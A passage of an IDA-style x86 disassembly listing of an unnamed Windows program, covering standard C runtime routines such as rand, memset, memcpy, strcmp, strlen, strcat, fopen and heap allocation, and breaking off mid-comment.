proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_42F310, eax retn sub_4154D2 endp ; =============== S U B R O U T I N E ======================================= sub_4154DC proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, ds:dword_42F310 imul eax, 343FDh add eax, 269EC3h mov ds:dword_42F310, eax sar eax, 10h and eax, 7FFFh retn sub_4154DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_415553 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_415547 neg ecx and ecx, 3 jz short loc_415529 sub edx, ecx loc_415523: ; CODE XREF: sub_415500+27j mov [edi], al inc edi dec ecx jnz short loc_415523 loc_415529: ; CODE XREF: sub_415500+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_415547 rep stosd test edx, edx jz short loc_41554D loc_415547: ; CODE XREF: sub_415500+18j ; sub_415500+3Fj ... mov [edi], al inc edi dec edx jnz short loc_415547 loc_41554D: ; CODE XREF: sub_415500+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415553: ; CODE XREF: sub_415500+Aj mov eax, [esp+arg_0] retn sub_415500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415560 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_415580 cmp edi, eax jb loc_4156F8 loc_415580: ; CODE XREF: sub_415560+16j test edi, 3 jnz short loc_41559C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4155BC rep movsd jmp off_4156A8[edx*4] ; --------------------------------------------------------------------------- loc_41559C: ; CODE XREF: sub_415560+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4155B4 and eax, 3 add ecx, eax jmp dword ptr loc_4155BC+4[eax*4] ; --------------------------------------------------------------------------- loc_4155B4: ; CODE XREF: sub_415560+46j jmp dword ptr loc_4156B8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4155BC: ; CODE XREF: sub_415560+31j ; sub_415560+8Ej ... jmp off_41563C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4155D0 dd offset loc_4155FC dd offset loc_415620 ; --------------------------------------------------------------------------- loc_4155D0: ; DATA XREF: sub_415560+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4155BC rep movsd jmp off_4156A8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4155FC: ; DATA XREF: sub_415560+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4155BC rep movsd jmp off_4156A8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415620: ; DATA XREF: sub_415560+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4155BC rep movsd jmp off_4156A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41563C dd offset loc_41569F ; DATA XREF: sub_415560:loc_4155BCr dd offset loc_41568C dd offset loc_415684 dd offset loc_41567C dd offset loc_415674 dd offset loc_41566C dd offset loc_415664 dd offset loc_41565C ; --------------------------------------------------------------------------- loc_41565C: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_415664: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41566C: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_415674: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41567C: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_415684: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41568C: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41569F: ; CODE XREF: sub_415560:loc_4155BCj ; DATA XREF: sub_415560:off_41563Co jmp off_4156A8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4156A8 dd offset loc_4156B8 ; DATA XREF: sub_415560+35r ; sub_415560+92r ... dd offset loc_4156C0 dd offset loc_4156CC dd offset loc_4156E0 ; --------------------------------------------------------------------------- loc_4156B8: ; CODE XREF: sub_415560+35j ; sub_415560+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4156C0: ; CODE XREF: sub_415560+35j ; sub_415560+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4156CC: ; CODE XREF: sub_415560+35j ; sub_415560+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4156E0: ; CODE XREF: sub_415560+35j ; sub_415560+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4156F8: ; CODE XREF: sub_415560+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41572C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_415720 std rep movsd cld jmp off_415840[edx*4] ; --------------------------------------------------------------------------- align 10h loc_415720: ; CODE XREF: sub_415560+1B1j ; sub_415560+208j ... neg ecx jmp off_4157F0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41572C: ; CODE XREF: sub_415560+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_415744 and eax, 3 sub ecx, eax jmp dword ptr loc_415744+4[eax*4] ; --------------------------------------------------------------------------- loc_415744: ; CODE XREF: sub_415560+1D6j ; DATA XREF: sub_415560+1DDr jmp off_415840[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_415758 dd offset loc_415778 dd offset loc_4157A0 ; --------------------------------------------------------------------------- loc_415758: ; DATA XREF: sub_415560+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_415720 std rep movsd cld jmp off_415840[edx*4] ; --------------------------------------------------------------------------- align 4 loc_415778: ; DATA XREF: sub_415560+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_415720 std rep movsd cld jmp off_415840[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4157A0: ; DATA XREF: sub_415560+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_415720 std rep movsd cld jmp off_415840[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4157F4 dd offset loc_4157FC dd offset loc_415804 dd offset loc_41580C dd offset loc_415814 dd offset loc_41581C dd offset loc_415824 off_4157F0 dd offset loc_415837 ; DATA XREF: sub_415560+1C2r ; --------------------------------------------------------------------------- loc_4157F4: ; DATA XREF: sub_415560+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4157FC: ; DATA XREF: sub_415560+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_415804: ; DATA XREF: sub_415560+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41580C: ; DATA XREF: sub_415560+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_415814: ; DATA XREF: sub_415560+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41581C: ; DATA XREF: sub_415560+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_415824: ; DATA XREF: sub_415560+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_415837: ; CODE XREF: sub_415560+1C2j ; DATA XREF: sub_415560:off_4157F0o jmp off_415840[edx*4] ; --------------------------------------------------------------------------- align 10h off_415840 dd offset loc_415850 ; DATA XREF: sub_415560+1B7r ; sub_415560:loc_415744r ... dd offset loc_415858 dd offset loc_415868 dd offset loc_41587C ; --------------------------------------------------------------------------- loc_415850: ; CODE XREF: sub_415560+1B7j ; sub_415560:loc_415744j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415858: ; CODE XREF: sub_415560+1B7j ; sub_415560:loc_415744j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_415868: ; CODE XREF: sub_415560+1B7j ; sub_415560:loc_415744j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41587C: ; CODE XREF: sub_415560+1B7j ; sub_415560:loc_415744j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_415560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4158A0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_4158EC loc_4158B0: ; CODE XREF: sub_4158A0+3Cj ; sub_4158A0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_4158E4 or al, al jz short loc_4158E0 cmp ah, [ecx+1] jnz short loc_4158E4 or ah, ah jz short loc_4158E0 shr eax, 10h cmp al, [ecx+2] jnz short loc_4158E4 or al, al jz short loc_4158E0 cmp ah, [ecx+3] jnz short loc_4158E4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4158B0 mov edi, edi loc_4158E0: ; CODE XREF: sub_4158A0+18j ; sub_4158A0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_4158E4: ; CODE XREF: sub_4158A0+14j ; sub_4158A0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_4158EC: ; CODE XREF: sub_4158A0+Ej test edx, 1 jz short loc_415908 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_4158E4 inc ecx or al, al jz short loc_4158E0 test edx, 2 jz short loc_4158B0 loc_415908: ; CODE XREF: sub_4158A0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_4158E4 or al, al jz short loc_4158E0 cmp ah, [ecx+1] jnz short loc_4158E4 or ah, ah jz short loc_4158E0 add ecx, 2 jmp short loc_4158B0 sub_4158A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415930 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_415949 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_415949: ; CODE XREF: sub_415930+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_415930 endp ; =============== S U B R O U T I N E ======================================= sub_415964 proc near ; CODE XREF: sub_4159EF+4p ; sub_41EBF2+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41596C: ; CODE XREF: sub_415964+34j cmp ds:dword_42F56C, 1 jle short loc_415984 movzx eax, byte ptr [edi] push 8 push eax call sub_418762 pop ecx pop ecx jmp short loc_415993 ; --------------------------------------------------------------------------- loc_415984: ; CODE XREF: sub_415964+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_42F360 mov al, [ecx+eax*2] and eax, 8 loc_415993: ; CODE XREF: sub_415964+1Ej test eax, eax jz short loc_41599A inc edi jmp short loc_41596C ; --------------------------------------------------------------------------- loc_41599A: ; CODE XREF: sub_415964+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4159AA cmp esi, 2Bh jnz short loc_4159AE loc_4159AA: ; CODE XREF: sub_415964+3Fj movzx esi, byte ptr [edi] inc edi loc_4159AE: ; CODE XREF: sub_415964+44j xor ebx, ebx loc_4159B0: ; CODE XREF: sub_415964+7Bj cmp ds:dword_42F56C, 1 jle short loc_4159C5 push 4 push esi call sub_418762 pop ecx pop ecx jmp short loc_4159D0 ; --------------------------------------------------------------------------- loc_4159C5: ; CODE XREF: sub_415964+53j mov eax, ds:off_42F360 mov al, [eax+esi*2] and eax, 4 loc_4159D0: ; CODE XREF: sub_415964+5Fj test eax, eax jz short loc_4159E1 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4159B0 ; --------------------------------------------------------------------------- loc_4159E1: ; CODE XREF: sub_415964+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_4159EA neg eax loc_4159EA: ; CODE XREF: sub_415964+82j pop edi pop esi pop ebp pop ebx retn sub_415964 endp ; =============== S U B R O U T I N E ======================================= sub_4159EF proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415964 pop ecx retn sub_4159EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159FA proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_417F58 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_415A39 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_415A46 ; --------------------------------------------------------------------------- loc_415A39: ; CODE XREF: sub_4159FA+35j lea eax, [ebp+var_20] push eax push 0 call sub_417E43 pop ecx pop ecx loc_415A46: ; CODE XREF: sub_4159FA+3Dj mov eax, esi pop esi leave retn sub_4159FA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415A50 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_415ACA mov dh, [ecx+1] test dh, dh jz short loc_415AB7 loc_415A68: ; CODE XREF: sub_415A50+52j ; sub_415A50+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_415A8A test al, al jz short loc_415A84 loc_415A79: ; CODE XREF: sub_415A50+32j mov al, [esi] inc esi loc_415A7C: ; CODE XREF: sub_415A50+3Fj cmp al, dl jz short loc_415A8A test al, al jnz short loc_415A79 loc_415A84: ; CODE XREF: sub_415A50+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_415A8A: ; CODE XREF: sub_415A50+23j ; sub_415A50+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_415A7C lea edi, [esi-1] loc_415A94: ; CODE XREF: sub_415A50+63j mov ah, [ecx+2] test ah, ah jz short loc_415AC3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_415A68 mov al, [ecx+3] test al, al jz short loc_415AC3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_415A94 jmp short loc_415A68 ; --------------------------------------------------------------------------- loc_415AB7: ; CODE XREF: sub_415A50+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_417076 ; --------------------------------------------------------------------------- loc_415AC3: ; CODE XREF: sub_415A50+49j ; sub_415A50+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_415ACA: ; CODE XREF: sub_415A50+Fj mov eax, edi pop esi pop ebx pop edi retn sub_415A50 endp ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4022C6+94p ; sub_40409E+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_415AE5 or eax, 0FFFFFFFFh jmp short loc_415B1F ; --------------------------------------------------------------------------- loc_415AE5: ; CODE XREF: sub_415AD0+Ej test al, 83h jz short loc_415B1D push esi call sub_4188F0 push esi mov edi, eax call sub_41888A push dword ptr [esi+10h] call sub_4187D7 add esp, 0Ch test eax, eax jge short loc_415B0B or edi, 0FFFFFFFFh jmp short loc_415B1D ; --------------------------------------------------------------------------- loc_415B0B: ; CODE XREF: sub_415AD0+34j mov eax, [esi+1Ch] test eax, eax jz short loc_415B1D push eax call sub_415DE1 and dword ptr [esi+1Ch], 0 pop ecx loc_415B1D: ; CODE XREF: sub_415AD0+17j ; sub_415AD0+39j ... mov eax, edi loc_415B1F: ; CODE XREF: sub_415AD0+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_415AD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B26 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40D2E0+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4189C2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_417F58 push [ebp+arg_0] mov edi, eax push esi call sub_418A4F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_415B26 endp ; =============== S U B R O U T I N E ======================================= sub_415B58 proc near ; CODE XREF: sub_415B78+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_418BFC test eax, eax jnz short loc_415B62 retn ; --------------------------------------------------------------------------- loc_415B62: ; CODE XREF: sub_415B58+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418A8C add esp, 10h retn sub_415B58 endp ; =============== S U B R O U T I N E ======================================= sub_415B78 proc near ; CODE XREF: sub_4022C6+54p ; sub_40409E+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_415B58 add esp, 0Ch retn sub_415B78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415B90 proc near ; CODE XREF: sub_404138+2BFp ; sub_408E1D+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_415C01 sub_415B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_415BBC loc_415BAD: ; CODE XREF: sub_415BA0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_415BEF test ecx, 3 jnz short loc_415BAD loc_415BBC: ; CODE XREF: sub_415BA0+Bj ; sub_415BA0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415BBC mov eax, [ecx-4] test al, al jz short loc_415BFE test ah, ah jz short loc_415BF9 test eax, 0FF0000h jz short loc_415BF4 test eax, 0FF000000h jz short loc_415BEF jmp short loc_415BBC ; --------------------------------------------------------------------------- loc_415BEF: ; CODE XREF: sub_415BA0+12j ; sub_415BA0+4Bj lea edi, [ecx-1] jmp short loc_415C01 ; --------------------------------------------------------------------------- loc_415BF4: ; CODE XREF: sub_415BA0+44j lea edi, [ecx-2] jmp short loc_415C01 ; --------------------------------------------------------------------------- loc_415BF9: ; CODE XREF: sub_415BA0+3Dj lea edi, [ecx-3] jmp short loc_415C01 ; --------------------------------------------------------------------------- loc_415BFE: ; CODE XREF: sub_415BA0+39j lea edi, [ecx-4] loc_415C01: ; CODE XREF: sub_415B90+5j ; sub_415BA0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_415C26 loc_415C0D: ; CODE XREF: sub_415BA0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_415C78 mov [edi], dl inc edi test ecx, 3 jnz short loc_415C0D jmp short loc_415C26 ; --------------------------------------------------------------------------- loc_415C21: ; CODE XREF: sub_415BA0+9Ej ; sub_415BA0+B8j mov [edi], edx add edi, 4 loc_415C26: ; CODE XREF: sub_415BA0+6Bj ; sub_415BA0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_415C21 test dl, dl jz short loc_415C78 test dh, dh jz short loc_415C6F test edx, 0FF0000h jz short loc_415C62 test edx, 0FF000000h jz short loc_415C5A jmp short loc_415C21 ; --------------------------------------------------------------------------- loc_415C5A: ; CODE XREF: sub_415BA0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415C62: ; CODE XREF: sub_415BA0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_415C6F: ; CODE XREF: sub_415BA0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_415C78: ; CODE XREF: sub_415BA0+72j ; sub_415BA0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_415BA0 endp ; =============== S U B R O U T I N E ======================================= sub_415C80 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_415CA0 loc_415C8C: ; CODE XREF: sub_415C80+19j mov al, [ecx] inc ecx test al, al jz short loc_415CD3 test ecx, 3 jnz short loc_415C8C add eax, 0 loc_415CA0: ; CODE XREF: sub_415C80+Aj ; sub_415C80+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_415CA0 mov eax, [ecx-4] test al, al jz short loc_415CF1 test ah, ah jz short loc_415CE7 test eax, 0FF0000h jz short loc_415CDD test eax, 0FF000000h jz short loc_415CD3 jmp short loc_415CA0 ; --------------------------------------------------------------------------- loc_415CD3: ; CODE XREF: sub_415C80+11j ; sub_415C80+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415CDD: ; CODE XREF: sub_415C80+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415CE7: ; CODE XREF: sub_415C80+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_415CF1: ; CODE XREF: sub_415C80+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_415C80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415D00 proc near ; CODE XREF: sub_402688+8p ; sub_404138+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_415D20 loc_415D0C: ; CODE XREF: sub_415D00+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_415D0C loc_415D20: ; CODE XREF: sub_415D00+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_415D00 endp ; =============== S U B R O U T I N E ======================================= sub_415D2F proc near ; CODE XREF: sub_4029F3+Ap ; sub_402A2D+12p ... arg_0 = dword ptr 4 push ds:dword_4C90E4 push [esp+4+arg_0] call sub_415D41 pop ecx pop ecx retn sub_415D2F endp ; =============== S U B R O U T I N E ======================================= sub_415D41 proc near ; CODE XREF: sub_415D2F+Ap ; sub_4167A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_415D6A loc_415D48: ; CODE XREF: sub_415D41+27j push [esp+arg_0] call sub_415D6D test eax, eax pop ecx jnz short locret_415D6C cmp [esp+arg_4], eax jz short locret_415D6C push [esp+arg_0] call sub_418C74 test eax, eax pop ecx jnz short loc_415D48 loc_415D6A: ; CODE XREF: sub_415D41+5j xor eax, eax locret_415D6C: ; CODE XREF: sub_415D41+13j ; sub_415D41+19j retn sub_415D41 endp ; =============== S U B R O U T I N E ======================================= sub_415D6D proc near ; CODE XREF: sub_415D41+Bp arg_0 = dword ptr 4 mov eax, ds:dword_4CA708 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_415D91 cmp esi, ds:dword_4CA700 ja short loc_415DC3 push esi call sub_4191FD test eax, eax pop ecx jz short loc_415DC3 pop esi retn ; --------------------------------------------------------------------------- loc_415D91: ; CODE XREF: sub_415D6D+Dj cmp eax, 2 jnz short loc_415DC3 mov eax, [esp+4+arg_0] test eax, eax jz short loc_415DA6 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_415DA9 ; --------------------------------------------------------------------------- loc_415DA6: ; CODE XREF: sub_415D6D+2Fj push 10h pop esi loc_415DA9: ; CODE XREF: sub_415D6D+37j cmp esi, ds:dword_4315A4 ja short loc_415DD0 mov eax, esi shr eax, 4 push eax call sub_419CA0 test eax, eax pop ecx jnz short loc_415DDF jmp short loc_415DD0 ; --------------------------------------------------------------------------- loc_415DC3: ; CODE XREF: sub_415D6D+15j ; sub_415D6D+20j ... test esi, esi jnz short loc_415DCA push 1 pop esi loc_415DCA: ; CODE XREF: sub_415D6D+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_415DD0: ; CODE XREF: sub_415D6D+42j ; sub_415D6D+54j push esi push 0 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap loc_415DDF: ; CODE XREF: sub_415D6D+52j pop esi retn sub_415D6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DE1 proc near ; CODE XREF: sub_402A82+Ap ; sub_402A9B+7Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_415E47 mov eax, ds:dword_4CA708 cmp eax, 3 jnz short loc_415E0D push esi call sub_418EA9 pop ecx test eax, eax push esi jz short loc_415E39 push eax call sub_418ED4 pop ecx pop ecx jmp short loc_415E47 ; --------------------------------------------------------------------------- loc_415E0D: ; CODE XREF: sub_415DE1+14j cmp eax, 2 jnz short loc_415E38 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_419C04 add esp, 0Ch test eax, eax jz short loc_415E38 push eax push [ebp+arg_0] push [ebp+var_4] call sub_419C5B add esp, 0Ch jmp short loc_415E47 ; --------------------------------------------------------------------------- loc_415E38: ; CODE XREF: sub_415DE1+2Fj ; sub_415DE1+44j push esi loc_415E39: ; CODE XREF: sub_415DE1+20j push 0 push ds:dword_4CA704 call ds:dword_4220C4 ; RtlFreeHeap loc_415E47: ; CODE XREF: sub_415DE1+Aj ; sub_415DE1+2Aj ... pop esi leave retn sub_415DE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl 